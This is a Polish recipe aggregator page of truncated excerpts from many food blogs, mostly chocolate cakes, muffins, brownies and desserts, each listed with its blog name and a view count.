Ciastka są z przepisu mojej babci.  Szybki,e można nazwać również kryzysowe ;) Ale do rzeczy... Składniki: 250 g swojej roboty ciastek pieczonych z olejem rzepakowym* 100 g ciemnej czekolady 100 g masła/margaryny  2 łyżki kakao 600 g truskawek (kaszubskie) 2 galaretki truskawkowe syrop różany z płatkami 200 ml śmietany 30 % 200 ml mleka 3 łyżeczki żelatyny opcjonalnie(...)Wszystkie składniki dokładnie zagnieść. Rozwałkować, nadać kształt, ułożyć na blaszce i piec ok 15 min w temp 180 stopni. Ot cała filozofia ;). Wykonanie ciasta: Ciastka pokruszyć dodać roztopioną płyną czekoladę i masło/margarynę, kakao i dokładnie wymieszać. Formę na tartę wyłożyć papierem do pieczenia (sam spód), a boki wysmarować olejem (masłem/margaryną). Tak przygotowaną formę wylepić przygotowaną wcześniej

Malinowe Pocałunki
Strucla czekoladowo - orzechowa 214

Moje największe  uzależnienie to CZEKOLADA! Chciałabym umieć jej odmówić, jednak to nie takie proste. Dzisiaj wstałam i okazało się, że nie mam nic do kawy. Wydawało by się, że w moim domu czekoladę można znaleźć wszędzie, a tu taki psikus. Długo nie myślałam, jak tylko drożdże są to zawsze coś można na szybko ukręcić, a ukręciłam strucla, może wizualnie

Niezły Młynek
Ciasto czekoladowo-serowe z kandyzowaną pomarańczą 220

łyżka skórki pomarańczowej-kostka 1 laska wanilii 1 łyżeczka proszku do pieczenia Masa serowa. 60 dag serka kremowego 2 jajka 1/2 szklanki cukru 1 budyń waniliowy Polewa. 10 dag czekolady gorzkiej 1 łyżka masła 50 ml śmietanki 36% Plasterki pomarańczy kandyzowanej Wykonanie. Jajka utrzeć z cukrem. Dodać mąkę wymieszaną z proszkiem i kakao. Miksować wlewając stopniowo olej. Wsypać posiekaną skórkę(...)piec w temp.180 stop. przez 15 minut. Jajka utrzeć z cukrem, serkiem i budyniem w proszku. Na podpieczone ciasto czekoladowe wyłożyć masę serową. Piec 30 min. w temp.180 stop. Czekoladę i masło stopić dodając śmietankę. Polać ostudzone ciasto i ozdobić pomarańczą kandyzowaną

Kulinarny karnet Christophera
Piernik czekoladowy 138

muszkatałowej i pieprzu, łyżecza mielonego cynamonu, 2 łyżeczki mielonego imbiru, łyżeszka i pół sody,, 2 jajka, 250 ml mleka, 25 dkg mąki, 5 łyżek ciemnego kakao, 15 dkg posiekanje czekolady najlepiej gorzkiej Polewa; 3 łyżki masła, 3 łyzki kakao, 5 łyżek śmietany 30 %, 3 łyzki cukru pudru, Wykonanie; Roztapiamy w graczku na małym ogniu masło, cukier i przyprawy. Sodę rozpuszczamy(...)niewielkiej ilości ciepłej wody. zdjemujemy z ognia i dodajemyy jajka, mleko, sodę, mąkę, kakao a na koniec posiekaną czekoladę.Mieszamy. Nagrzewamy piekarnikdo 180 stopni i pieczemy okolo 50 miniut / wzależności od piekarnika, do suchego patyczka/. Gotowy piernik przekładamy powidłami i polewamy polewą. Składniki polewy rozpuszczamy razem w rondelku i dokładnie mieszamy. Smacznego...     /żródło Moje Gotowanie

Anioły w kuchni
Czekoladowa szarlotka 166

mąki pszennej, 4 łyżki kakao, 100 g miękkiego masła, 4 łyżki cukru, 2 żółtka, zimna woda, 750 g jabłek, 25 g masła, 1/2 łyżeczki cynamonu, 50 g gorzkiej czekolady, piana z 1 białka, 1/2 łyżeczki cukru, Wykonanie; Do mąki i kakao dodajemy masło i wcieramy aż powstanie zacierka. Dodajemy cukier, żółtka i tyle wody żeby zagnieść ciasto /ok.100 ml/. Wykładamy(...)czasie przygotowujemy jabłka.Pokrojoną połowę jabłek w plastry wrzucamy do rondla. dodajemy masło i cynamon. Dusimy aż zmiękną. Dodajemy drugą połowę jabłek . Gdy masa jabłkowa ostygnie dodajemy pokrojoną czekoladę.Na ciasto wkładamy jabłka i dekorujemy wierzch wedle uznania pozostałym ciastem.Piekarnik nagrzewamy do 180 stopni i pieczemy ok. 35-40 minut. Smacznego

Anioły w kuchni
Trick or treat! 216

łyżeczki proszku do pieczenia 1/2 łyżeczki przyprawy do piernika 2 łyżki mleka (lub łyżka jogurtu) 2 łyżki puree z dyni 1 łyżka miodu 1 łyżka oliwy 5 kostek gorzkiej czekolady (lub łyżka kakao) cynamon do oprószenia Suche składniki wymieszałam ze sobą w docelowym kubeczku. Odstawiłam. Czekoladę rozpuściłam w kąpieli wodnej. Dodałam mleko. Miód. Oliwę. Dynię. Wymieszałam.  Mokre składniki przelałam

bastalena
Czekoladowy omlet fitness a la brownies z malinami 234

Czekoladę chyba każdy kocha. A najbardziej za nią tęsknią osoby na diecie. Jutro (dzięki za poprawkę!) obchodzimy święto czekolady, a dzień święty należy święcić! Nawet na diecie. Tylko jak by nie "zawahać" naszego jadłospisu? A no choćby czekoladowym, lekkim śniadaniem lub deserem w formie omletu fitness podobnego do brownies z malinami. Niemożliwe? Spróbuj ;) Składniki: 1 łyżeczka kakao 1 jajko

Czarnawisienka
Delicje czekoladowo marcepanowe. 104

Chocolate marzipan.   Składniki. 300 g czekolady gorzkiej 200 g marcepanu 50 ml oliwki z orzeszków ziemnych 25 ml koniaku 50 g orzechów włoskich 20 g migdałów 1 łyżeczka cukru Wykonanie. W łaźni wodnej stopić połamaną czekoladę z oliwką. Zdjąć z ognia i dodać pokrojony marcepan oraz koniak. Wymieszać i wylać do foremki (20x14cm) wyłożonej papierem. Orzechy i migdały, posypane

Kulinarny karnet Christophera
Czekoladowy sos chilli do deserów. 182

Chocolate chilli sauce for dessert. Składniki. 100 g czekolady gorzkiej 100 ml śmietany kremowej 1 papryczka chilli Wykonanie. Ze strączka chilli usunąć nasionka i posiekać bardzo drobno. W łaźni wodnej roztopić czekoladę dodając śmietankę i posiekaną papryczkę. Polać lody

Kulinarny karnet Christophera
Mrożone ciasto czekoladowe z lodami wiśniowo-śmietankowymi. 178

with ice cream cherry. Składniki. 4 jajka 175 g cukru 100 g mąki 1 płaska łyżeczka proszku do pieczenia 3 łyżki kakao 500 g lodów wiśniowo-śmietankowych 50 g czekolady Wykonanie. Jajka utrzeć z cukrem na pulchną masę. Dodać mąkę przesianą z proszkiem i kakao, wymieszać dokładnie. Nałożyć do formy z kominkiem, 23cm.lekko natłuszczonej i piec w temp.180stop.przez 30 minut(...)grubości 1 cm. Z zamrażalnika wyjąć lody ,utrzeć łyżką, aż trochę zmiękną i wypełnić nimi ciasto. Przykryć wcześniej odciętym plastrem i zamrażać przynajmniej przez 2 h. Dobrze smakuje polane czekoladą. Rada. Do tego ciasta dobre są też lody miętowo-czekoladowe

Kulinarny karnet Christophera
Aromatyczne ciasteczka czekoladowo-kardamonowe 195

Aromatic Chocolate and Cardamom Cookies Składniki. 10 dag masła 12 dag masy kajmakowej krówkowej 3 łyżki cukru pudru 18 dag mąki pszennej 1/2 łyżeczki kardamonu utartego 4 łyżki posiekanej czekolady gorzkiej Wykonanie. Masło, masę kajmakową, cukier utrzeć na jednolitą masę. Dodać mąkę z utartym kardamonem i dobrze wymieszać mikserem. Wsypać 3 łyżki grubo posiekanej czekolady i wymieszać łyżką. Formować małe

Kulinarny karnet Christophera
Cytrynowiec 5051

łyżeczka skórki z cytryny 50ml soku z cytryny krem cytrynowy 2 jajka 2 łyżki cukru 2 łyżeczki skórki z cytryny 80ml soku z cytryny 100g masła 50g białej czekolady masa cytrynowa krem cytrynowy z powyższych składników 300ml śmietanki 30% 1 i 1/2 łyżeczki żelatyny 3 łyżki zimnej wody bezy 1 białko 60g cukru pudru 1/2 łyżeczki mąki ziemniaczanej 1/2 łyżeczki(...)dodawać po kawałku zimne masło, mieszając aż się rozpuści, od tego momentu masę należy cały czas mieszać, gdyż zacznie szybko gęstnieć - zgęstniałą masę zdjąć z palnika, dodawać po kawałku czekoladę, wymieszać do uzyskania gładkiej konsystencji - gotowy krem przecedzić przez drobne sitko, aby pozbyć się ewentualnych grudek i skórki cytrynowej, następnie przykryć i schłodzić przez kilka godzin w lodówce (lub całą

Smakołyki Bereniki
Czekoladowy pudding z mleka sojowego 134

coś czekoladowego, coś dobrego i coś szybkiego - tak powstał pudding czekoladowy :) Składniki: 0,5 l sojowego napoju waniliowego, 2 łyżki cukru, 3-4 łyżki mąki ziemniaczanej, 50 g gorzkiej czekolady, 2 łyżki kakao,  1 łyżka kremu orzechowo-kakaowego. Przygotowanie:    Sojowy napój waniliowy przelewamy do rondelka. Gotujemy na małym ogniu, dodajemy cukier, połamaną gorzką czekoladę oraz kakao. Cały

Aga w kuchni
Ciasteczka cytrynowe 888

pudru 1 żółtko skórka otarta z 1 małej cytryny krem cytrynowy 1 jajko skórka otarta z 1 cytryny 30ml soku z cytryny 1 łyżka cukru 50g masła 50g białej czekolady Wykonanie: - mąki i cukier puder przesiać, dodać zimne masło, żółtko oraz skórkę z cytryny, składniki posiekać razem, zagnieść ciasto - ciasto schłodzić 30-60 minut w lodówce - jajko roztrzepać z cukrem(...)cytryny, podgrzewać, aż masa zrobi się ciepła - do masy dodać po kawałku zimne masło, mieszać aż masło się rozpuści, a masa zgęstnieje - masę zdjąć z palnika, dodawać po kawałku czekoladę, mieszać do połączenia się składników - gotowy krem przetrzeć przez sitko, aby uzyskać gładką konsystencję, schłodzić przez kilka godzin w lodówce - piekarnik rozgrzać do temperatury 180 stopni - ze schłodzonego ciasta formować

Smakołyki Bereniki
Ciasto czekoladowe z kokosem 348

rozrobione mąki. Ugotować jak budyń. Ostudzić. Miękkie masło utrzeć do białości, stale ucierając, dodawać po łyżce zimnej masy budyniowej. Krem wyłożyć na wierzch przestudzonego ciasta. Schłodzić. Polewa: 100g mlecznej czekolady,  2 łyżki śmietanki 30%,  chipsy kokosowe do posypania.  Czekoladę połamać na kawałki, stopić na parze wraz ze śmietanką. Lekko przestudzić i rozsmarować na wierzchu ciasta.  Posypać

Z miłości do słodkości
Deser z pijanymi rodzynkami 176

śmietany 30% 2 łyżki rodzynek 3 łyżki rumu 3-4 łyżki ulubionego musu bądź dżemu owocowego (u mnie morelowy z dodatkiem rumu) 2 wafelki do dekoracji 2 kostki białej czekolady (potartej do posypania) Przygotowanie: Rodzynki namoczyć w rumie ok godzinę wcześniej. Po tym czasie ubić schłodzoną kremówkę. Na dno pucharków nałożyć po kilka rodzynek i łyżeczkę rumu w którym się(...)moczyły. Przykryć grubą warstwą bitej śmietany, następnie wyłożyć mus owocowy, posypać rodzynkami (zostawić odrobinę do dekoracji). Przykryć cienką warstwą śmietany. Wierzch posypać pozostałymi rodzynkami i startą białą czekoladą, udekorować wafelkiem. Gotowe

Ze smakiem i z pasją
Babka cytrynowa z polewą czekoladową 278

rozpuszczonego masła starta skórka z 1 cytryny sok z 1 cytryny 1,5 łyżeczki proszku do pieczenia 1 łyżka   domowego cukru waniliowego Polewa czekoladowa: 100 g czekolady 2-3 łyżki masła Wykonanie: Jajka powinny mieć temperaturę pokojową. Piekarnik nagrzewamy do 170 stopni. Formę na babkę dokładnie smarujemy tłuszczem i wysypujemy tartą bułką. Jajka ubijamy z cukrami na puszystą(...)formy i pieczemy około 45-50 minut. Gdyby ciasto od góry zbyt szybko zaczęło brązowieć, można je przykryć folia aluminiową. Na parze w garnuszku rozpuszczamy czekoladę, dodajemy masło i mieszamy do uzyskania gładkiej masy. Gdy ciasto przestygnie wyjmujemy je z formy i dekorujemy polewa czekoladową

Kulinarne przygody Gatity
Brownie z Kinder Bueno 337

nieco odsłodziła przepis nie dodając brązowego cukru i Kinder Maxi. Brownie z Kinder Bueno Składniki: 300 g mąki 1/2 łyżeczki soli 400 g gorzkiej czekolady 4 łyżki kakao 2 łyżeczki kawy rozpuszczalnej 1,5 szklanki cukru 2 łyżeczki ekstraktu z wanilii 250 g masła 5 dużych jajek 5 opakowań Kinder Bueno (10 batoników) Wykonanie: Batoniki łamiemy na mniejsze kawałki(...)metalowej lub szklanej miski wrzucamy połamaną czekoladę, masło pokrojone w kostkę, sól i kawę. Miskę ustawiamy na garnku z  gotującą się wodą i mieszając raz na jakiś czas doprowadzamy do rozpuszczenia się i połączenia wszystkich składników. Na koniec dodajemy cukier, mieszamy i odstawiamy do wystudzenia. Do zimnej masy czekoladowej dodajemy

Kulinarne przygody Gatity
Ciasto z musem jabłkowym i budyniem 558

wody 3-4 łyżki cukru 1 łyżeczka cynamonu 1 ½ opakowania galaretki pomarańczowej Masa budyniowa: 900ml mleka 3 opakowanie budyniu waniliowego 3 łyżki cukru 200g miękkiego masła Polewa: 200g gorzkiej czekolady 2 łyżki masła 8-9 łyżek mleka Ciasto rozpoczynamy od przygotowania biszkoptu. Jajka ubijamy z cukrem, aż powstanie puszysta masa. Ciągle ubijając dodajemy olej i wodę. Do osobnego naczynia przesiewamy(...)nakładamy budyń i drugi biszkopt. Lekko dociskamy i umieszczamy ponownie w lodówce na kilka godzin, a najlepiej na całą noc. Na koniec przygotowujemy polewę czekoladową. W kąpieli wodnej rozpuszczamy czekoladę wraz z mlekiem i masłem. Mieszamy do połączenia składników. Gotową polewę wylewamy na ciasto i odstawiamy by nieco stężała. Ciasto jest gotowe. Smacznego

Kolizje Smaków
Słonecznikowiec, czyli ciasto ze słonecznikiem 548

zmiksować z blenderze. Zmiksowany słonecznik dodać do budyniu, dodać też masło, wymieszać, odstawić aż masa ostygnie. Zimną masą przełożyć przestudzone placki. Schłodzić. Polewa:  50g masła,  50g mlecznej czekolady,  50ml śmietanki 30%,  3 łyżki cukru,  łyżka kakao.  Wszystko połączyć i stopić na parze. Lekko przestudzić i posmarować wierzch ciasta. Schłodzić. Źródło: Kawa i czekolada

Z miłości do słodkości
Kawowa Panna Cotta z sosem czekoladowym 133

śmietany, po czym wlać kawę do reszty śmietanki. Dokładnie wymieszać i rozlać do wysmarowanych olejem sześciu filiżanek. Wstawić na całą noc do lodówki.     Sos czekoladowy: 55g mlecznej czekolady, 150ml śmietanki 12%.     Czekoladę połamać na kawałki, połączyć ze śmietaną i stopić na parze. Przestudzić. Foremki na chwilę zanurzyć w gorącej wodzie, po czym delikatnie odwrócić

Z miłości do słodkości
Sernik ze śliwkami 145

sztywną pianę oraz proszek budyniowy. Na podpieczonym cieście ułożyć przepołowione i wypestkowane śliwki. Zalać masą serową. Piec ok. 50 min w temp. 180st. Ostudzić w formie. Polewa: 100g białej czekolady, 150 ml śmietanki 30%, 2 łyżki cukru pudru. Śmietankę zagotować z cukrem pudrem, zdjąć z ognia, dodać połamaną czekoladę i mieszać, aż się całkowicie rozpuści. Ostudzić i mocno schłodzić

Z miłości do słodkości
Czekoladowe muffinki 225

czekoladowe.  Prosto i szybko  można zrobić pyszne babeczki. SKŁADNIKI 2 szklanki mąki 1/2 szklanki cukru 2 łyżki ciemnego kakao 3 łyżeczki proszku do pieczenia 1 tabliczka mlecznej czekolady 1/2 szklanki oleju 1 szklanka mleka 1 jajko 10-12 krówek (cukierków) PRZYGOTOWANIE W misce mieszamy suche składniki: mąkę, cukier, kakao, proszek i pokrojoną  w małą kosteczkę czekoladę

Moje Kuchenne Rewelacje
Znane nieznane - brownie z gruszkami 129

wypróbowania, to jednak dzielnie stawiam im opór i nic nie piekę. Jeśli już pojawi się u nas coś słodkiego to koniecznie musi być to ciasto czy deser z czekoladą. To moja miłość, a gorzka czekolada ma też swoje zalety. Dziś będzie odgrzewany przepis na pyszne brownie, któremu jako towarzyszkę wybrałam gruszkę. Zapraszam :-) Brownie z karmelizowanymi gruszkami Przepis na brownie klik

Przysmaki Karolki
Magiczne ciasto czekoladowe 378

Naszła mnie ochota na coś słodkiego z duża dawką czekolady:) Przypomniałam sobie o zapisanym gdzieś przepisie na ciasto czekoladowe. Bardzo zainspirowało mnie już samo zdjęcie ciasta i ciekawość czy moje też takie wyjdzie;) Jego magia polega na rozwarstwieniu ciasta podczas pieczenia, co mam nadzieję jest zauważalne.  Ciasto jest bardzo łatwe w przygotowaniu, lekkie, bo przypominające konsystencją ni to piankę(...)cytryny. Dodać do masy, delikatnie wymieszać. Ciasto przelać do natłuszczonej i oprószonej kakao tortownicy o średnicy 21cm. Piec około 50 minut w temp. 150st.  Polać np. stopioną czekoladą lub oprószyć kakao.  Źródło: Addio pomidory

Z miłości do słodkości
Muffiny Czekoladowo – Kokosowe 211

jajka 300 g mąki pszennej 2 łyżeczki proszku do pieczenia 3 łyżeczki kakao 125 ml mleka kokosowego 150 g batoników Bounty 2 łyżki wiórek kokosowych Dodatkowo: 100 g gorzkiej czekolady wiórki kokosowe do posypania Masło ucieramy z cukrem i solą. Stopniowo dodajemy jajka, ciągle ucierając. Dodajemy mąkę wymieszaną z proszkiem do pieczenia i kakao. Ciągle ucierając wlewamy mleko kokosowe. Następnie(...)Pieczemy w 170 stopniach około 20 minut, sprawdzając patyczkiem czy babeczki są gotowe. Po upieczeniu zostawiamy do ostygnięcia w formie. Następnie wyciągamy na kratkę, polewamy rozpuszczoną w kąpieli wodnej czekoladą i posypujemy wiórkami. The post Muffiny Czekoladowo – Kokosowe appeared first on Made

Made By Mom And Son
Brownie z masą serową 164

mokrą czekoladową konsystencją. Polecam wszystkie serniko-brawnie, naprawdę warto:)  Składniki: ciasto: 200 g masła 170 g cukru pudru  szczypta soli 3 jajka 4 łyżki miodu 2 tabliczki czekolady gorzkiej masa: 250 ml śmietana 30% serek ricotta lub mascarpone 2 op. cukru waniliowego Wykonanie:  Masło roztapiamy w garnku razem z cukrem pudrem oraz czekoladą. Należy uważać, żeby masa

ciastkarnia na kruchym spodzie
Szybki cytrusowy deser 169

bardzo szybko, teraz czeka w lodówce na degustatorów.  Składniki: (porcja na 3 pucharki) 3 mandarynki średni pomarańcz grejfrut opakowanie serka ricotta śmietana 30% 2 łyżeczki cukru pudru rodzynki czekolada mleczna Wykonanie: Śmietanę ubić  na sztywno i dodawać stopniowo cukier puder. Na sam koniec ubijania dodać serek. Część masy przełożyć do pucharków. Pokroić wszystkie cytrusy i ułożyć(...)masie, przykryć pozostałą ilością serka ricotta. Całość posypać rodzynkami, startą czekoladą lub udekorować według uznania. Smacznego

ciastkarnia na kruchym spodzie
Babka czekoladowo pomarańczowa 119

naszym stole były babki piaskowe albo kolorowe więc taka ciemna była dużą odmianą. Jest wilgotna i intensywnie smakuje pomarańczą. Myślę, że to powinno przekonać wszystkich wielbicieli połączenia czekolady z cytrusami. ( ja się zaliczam do tej grupy) Polecam przepis gorąco i wracam do kuchni do kolejnych wypieków.   Składniki: 130 g masła 2 szklanki mąki pszennej 2 łyżeczki(...)pieczemy 50 minut w 170 stopniach.  Po wyjęciu z piekarnika poczekać 10 minut aż ostygnie i dopiero w tedy wyjąć z formy.  Ja ozdobiłam babkę roztopioną mleczną czekoladą i kolorowymi cukierkami, polecam również likier lub zwykły cukier puder. Smacznego

ciastkarnia na kruchym spodzie
Sernikowa krówka 215

siebie i  cieszyć się z życia. Składniki (na dużą blachę): czekoladowe ciasto: 0,5 szkl. mleka 1,5 szkl. cukru 4 jajka 2 łyżki kakao tabliczka gorzkiej czekolady 2 szkl. mąki pszennej 1 łyżeczka proszku do pieczenia sernik: 750 g twaroga sernikowego trzykrotnie mielonego 2 łyżki mąki ziemniaczanej 4 łyżki śmietany  150 g cukru pudru 1 cukier waniliowy(...)puszka masy krówkowej 200 g orzechów włoskich Wykonanie: ciasto czekoladowe: Margarynę z mlekiem rozpuszczamy z cukrem na średnim ogniu. Dodajemy żółtka, kakao oraz roztopioną tabliczkę czekolady (roztapiamy w kąpieli wodnej) i wszystko razem mieszamy. Gotową masę zostawiamy do ostygnięcia. W następnej kolejności ubijamy białka na sztywno i delikatnie dodajemy je do zimnej masy. Gdy jest gotowa wsypujemy do niej ostrożnie

ciastkarnia na kruchym spodzie
Ciasto smerfa 179

czekoladowe ciacho, dużo jagód i masa z kaszy mannej, dla mnie połączenie idealne. Jeśli dla was też to zostawiam przepis: Składniki na dużą  prostokątną blachę: ciasto: 200 g czekolady mlecznej 2 szklanki borówek mrożonych 300 g masła 4 łyżki kakao 300 g mąki pszennej 6 jajek 300 g cukru 2 łyżeczki proszku do pieczenia masa: 6 łyżek kaszy mannej(...)litr mleka 2 budynie waniliowe 2 galaretki cytrynowe  200 g borówek  Wykonanie: Czekoladę masło i cukier roztapiamy w garnku na piecu. Następnie gdy wszystko się rozpuści zostawiamy garnek aż trochę się ostudzi i w tedy dopiero można wsypać resztę składników. Białka z jajek ubijamy an sztywną pianę i delikatnie dodajemy ją do ciasta. Wszystko razem mieszamy i przelewamy

ciastkarnia na kruchym spodzie
Szybki torcik królowej bez pieczenia 448

średnicy 25 cm: dwie paczki herbatników 0.5 l mleka 2 budynie waniliowe  200 g rodzynek 4 łyżki rumu 200 ml śmietany 30% fix do śmietany tabliczka mlecznej czekolady do dekoracji: czekoladowe ciasteczka wiórki czekoladowe Wykonanie: Rodzynki przesypujemy do miseczki i zalewamy je rumem. W tym czasie  gotujemy budynie zgodnie z instrukcją na opakowaniu. Gdy budyń będzie gotowy zestawiamy(...)pieca do ostygnięcia. W tym czasie. Tortownicę wykładamy folią (spód i brzegi) następnie układamy warstwę herbatników. Śmietanę ubijamy na sztywno, pod koniec ubijania dodajemy fix aby usztywnić ją całkowicie. Czekoladę roztapiamy w kąpieli wodnej. Roztopioną wlewamy na śmietanę powoli i mieszamy do połączenia.   Gdy budyń lekko przestygnie wrzucamy do niego rodzynki i dokładnie mieszamy. połowę masy wylewamy na herbatniki

ciastkarnia na kruchym spodzie
Czekoladowe muffinki z nadzieniem truflowym 183

rewelacyjna. Myślę, że babeczki długo nie wytrzymają i bardzo szybko znikną. Polecam takie małe słodkości w oczekiwaniu na święta. Składniki na 14 muffinków: 150 g masła 150 h gorzkiej czekolady 300 g mąki 2 łyżeczki proszku do pieczenia 3 łyżki kakao szklanka cukru 170 ml maślanki 2 jajka puszka masy karmelowej o smaku trufli dekoracja: 200 ml śmietany(...)czasie ubijamy śmietanę,  pod koniec ubijania gdy zaczyna się robić sztywna dodajemy fix do śmietany i cukier puder. Tak ubitą śmietaną dekorujemy babeczki, możemy wierzch posypać startą czekoladą lub cukierkami. Smacznego

ciastkarnia na kruchym spodzie
Deser migdałowo- czekoladowy 206

włoskiego deseru ale równie smaczny) Składniki na cztery porcje łyżeczka żelatyny 250 ml śmietany kremówki 80 g cukru pudru 250 ml mleka aromat migdałowy garść płatków migdałowych pół tabliczki czekolady deserowej Wykonanie: Do rondelka wlewamy mleko i śmietanę, dodajemy cukier i podgrzewamy do momentu aż cukier się nie rozpuści. Doprowadzamy do zagotowania i szybko zdejmujemy  garnek z pieca. Żelatynę(...)kilka kropel aromaty migdałowego i studzimy masę, Do pucharków dajemy na dno trochę płatków migdałowych Poczekamy aż masa będzie letnia i wlewamy ją do pucharków, które wstawiamy do lodówki Czekoladę rozpuszczamy w kąpieli wodnej i dodajemy po łyżce na wierzch zimnego deseru i tworzymy fantazyjne wzorki. Deser na chwile powinien zostać w lodówce , około 10 minut, smacznego

ciastkarnia na kruchym spodzie
Ciasto Mleczna kanapka 2335

proszku.  Zwykłe mleko i cukry zagotować, przestudzić. Masło utrzeć na puszystą masę. Na przemian dodawać zwykłe, przestudzone mleko oraz to w proszku. Masą przełożyć ciasto. Polewa: 150 g czekolady mlecznej,  ok. 6 łyżek mleka. Czekoladę rozpuścić z mlekiem na parze, lekko przestudzić i polać wierzch ciasta. Schłodzić

Z miłości do słodkości
Taratelki z owocami 148

Nadzienie : 300g ricotty 150g serka waniliowego 3 łyżeczki żelatyny Powidła lub dżem 2 łyżki likieru pomarańczowego 1 pomarańcze 1 brzoskiwnia 1 kiwi 1 jabłko Kiść winogron Pół tabliczki mlecznej czekolady Mąkę, cukier puder i jajko mieszamy. Do tego dodajemy masło i połowę opakowania cukru waniliowy. Intensywnie, krótko wyrabiamy, zawijamy w folie spożywczą i odstawiamy na godzinę do lodówki. Można też(...)czasie usuwamy obciążenie i wstawiamy jeszcze na 10 minut. Po tym czasie wyciągamy tartaletki. Dno smaujemy powidłami lub dżemem, na to wylwamy masę serową i układamy owoce. Posypujemy czekoladą i wstawiamy na chwilę do lodówki. Po jakiejś pół godziny są gotowe

Kolizje Smaków
Puszysta kaszka manna 428

zawiedziecie się:) Składniki: 4 łyżki kaszki mannej 2 szklanki pełnego mleka 2 opakowania cukru waniliowego 2 łyżeczki żelatyny 2 białka 2 łyżki cukru pudru ½ szklanki soku z truskawek/malin Truskawki, czekolada  i listki mięty do przybrania Zimnego mleko przelewamy go rondelka. Dosypujemy cukier waniliowy oraz kaszkę manną i włączamy gaz. Całość zagotowujemy, następnie zmniejszamy gaz i mieszając doprowadzamy do miękkości(...)wystudzoną kaszką manną mieszając delikatnie łopatką. Tak przygotowaną kaszkę rozkładamy do pucharków, a te odstawiamy do lodówki. Schłodzoną piankę z kaszki mannej ozdabiamy truskawkami, listkiem mięty i startą czekoladą. Smacznego

Kolizje Smaków
Pomarańczowe naleśniki z sokiem Tymbark 929

szklanki mąki pszennej, 1 łyżeczka mąki ziemniaczanej, 1/3 szklanki soku pomarańczowego Tymbark 2 jajka, szczypta soli, olej do smażenia, 1 pomarańcza, 175 g serka homogenizowanego waniliowego 2 kostki gorzkiej czekolady Przygotowanie: W miseczce roztrzepujemy jajka ze szczyptą soli, dodajemy 1 łyżeczkę cukru, mąkę pszenną wymieszaną z mąką ziemniaczaną, wlewamy sok pomarańczowy i za pomocą trzepaczki dokładnie łączymy składniki. Rozgrzewamy patelnię(...)duże naleśniki. Obraną z błon pomarańczę kroimy w drobną kostkę. Mieszamy serek z pokrojonymi cząstkami pomarańczy. Masą smarujemy przestudzone naleśniki. Zwijamy naleśniki i kroimy na skos. Posypujemy tartą czekoladą. Dekorujemy świeżymi listkami melisy aby uspokoić nerwy po tak ekscytującym posiłku Podajemy do popicia 2/3 szklanki soku pomarańczowego. A Ty zawsze pamiętasz o 1 z 5 porcji warzyw, owoców lub soku

Damsko-męskie spojrzenie na kuchnię
Piernik ekspresowy z powidłami 2864

powidłami śliwkowymi, układamy wszystkie blaty jeden na drugi,dociskamy, ostatni również ma być posmarowany powidłami . Rozpuszczamy w kąpieli wodnej polewę czekoladową, polewamy wierzch ciasta na całej powierzchni, na płynną czekoladę sypiemy siekane migdały i srebrne kulki, pozostawiamy aż czekolada stężeje. Ciasto zawijamy w folię i odkładamy na minimum 24 godziny, piernik najlepszy jest na drugi dzień. Smacznego! The post Piernik

Damsko-męskie spojrzenie na kuchnię
Czekoladowe Muffiny 192

płaskie łyżeczki proszku do pieczenia - 3 łyżki kakao - 165 g cukru - 1 cukier waniliowy mały - 140 g masła ( może być margaryna) - 2duże jaja - 170 ml mleka - 1 tabliczka czekolady ( można dodać więcej :) max 1,5 tabliczki) Krok 1. Na małej patelni rozpuszczamy i studzimy masło. Krok 2. W osobnej misce łączymy wszystkie suche produkty.  Czekoladę siekamy albo tarkujemy

Niezły Młynek
Muffiny bananowe 165

łyżeczki proszku do pieczenia 3/4 szklanki cukru * mokre: szklanka mleka 2 jajka 80 g oleju rzepakowego * dodatkowo: dwa dojrzałe banany - zblendowane + połówka banana pokrojona w plasterki pół tabliczki czekolady mlecznej Przygotowanie: W jednej misce bardzo dokładnie wymieszałam suche składniki (mąkę, sól, proszek do pieczenia i cukier). W drugiej misce wymieszałam dokładnie mokre składniki (mleko, jajka i olej). Do miski(...)wlałam mokre składniki i całość wymieszałam bardzo szybko i niedokładnie - tylko do połączenia się składników. Do silikonowych foremek muffinkowych nakładałam po łyżce ciasta, łyżeczce sosu bananowego i pół kostki czekolady i przykrywałam jeszcze odrobiną ciasta, wypełniając foremki do 3/4 wysokości. Na każdą muffinkę kładłam plasterek banana. Piekłam 20-25 minut w piekarniku rozgrzanym do 200 stopni.  Przepis zgłaszam

Kulinarny Pamiętnik
Ciasteczka zbożowe 311

mąki żytniej razowej 1 łyżeczka proszku do pieczenia pół szklanki miodu 100 g dobrego masła pół łyżeczki soli 5 łyżek mleka * polewa czekoladowa: pół tabliczki dobrej mlecznej lub gorzkiej czekolady (ja użyłam mlecznej) 2 łyżki śmietanki (użyłam 18%) Przygotowanie: Wszystkie składniki na ciasteczka (poza mlekiem) wrzuciłam do blendera i rozdrabniałam. Kiedy uzyskałam konsystencję okruchów dodawałam powoli mleko cały czas blendując(...)grubości ok. 5 mm, które ułożyłam na blasze wyłożonej papierem do pieczenia. Piekłam 15 minut w piekarniku rozgrzanym do 200 stopni. Gdy ciastka piekły się w piekarniku przygotowałam polewę: czekoladę rozpuściłam w kąpieli wodnej i wymieszałam ze śmietanką. Odstawiłam do lekkiego przestygnięcia. Ciastka wystudziłam na kratce i każde oblałam z jednej strony polewą. Ciastka przechowuję w lodówce. Przepis zgłaszam

Kulinarny Pamiętnik
Sernik marmurkowy na zimno 440

500g twarożku sernikowo - kanapkowego Wieluń,  300ml śmietanki 30%,  łyżeczka żelatyny,  kilka kropel olejku waniliowego,  łyżka soku z cytryny,  5 łyżek cukru pudu, 100g mlecznej czekolady. Żelatynę rozpuścić w trosze wrzątku. Ostudzić. Śmietankę ubić na sztywno z dodatkiem cukru pudru. Dodać przestudzoną żelatynę i biały ser. Dodać sok z cytryny oraz kilka kropel olejku waniliowego. Krótko(...)zmiksować. Masę wylać na przygotowany spód. Czekoladę stopić na parze, wylać na wierzch ciasta. Widelcem zrobić esy-floresy. Schładzać przez kilka godzin.                                                                 Smacznego

Z miłości do słodkości
Szybki piernik 207

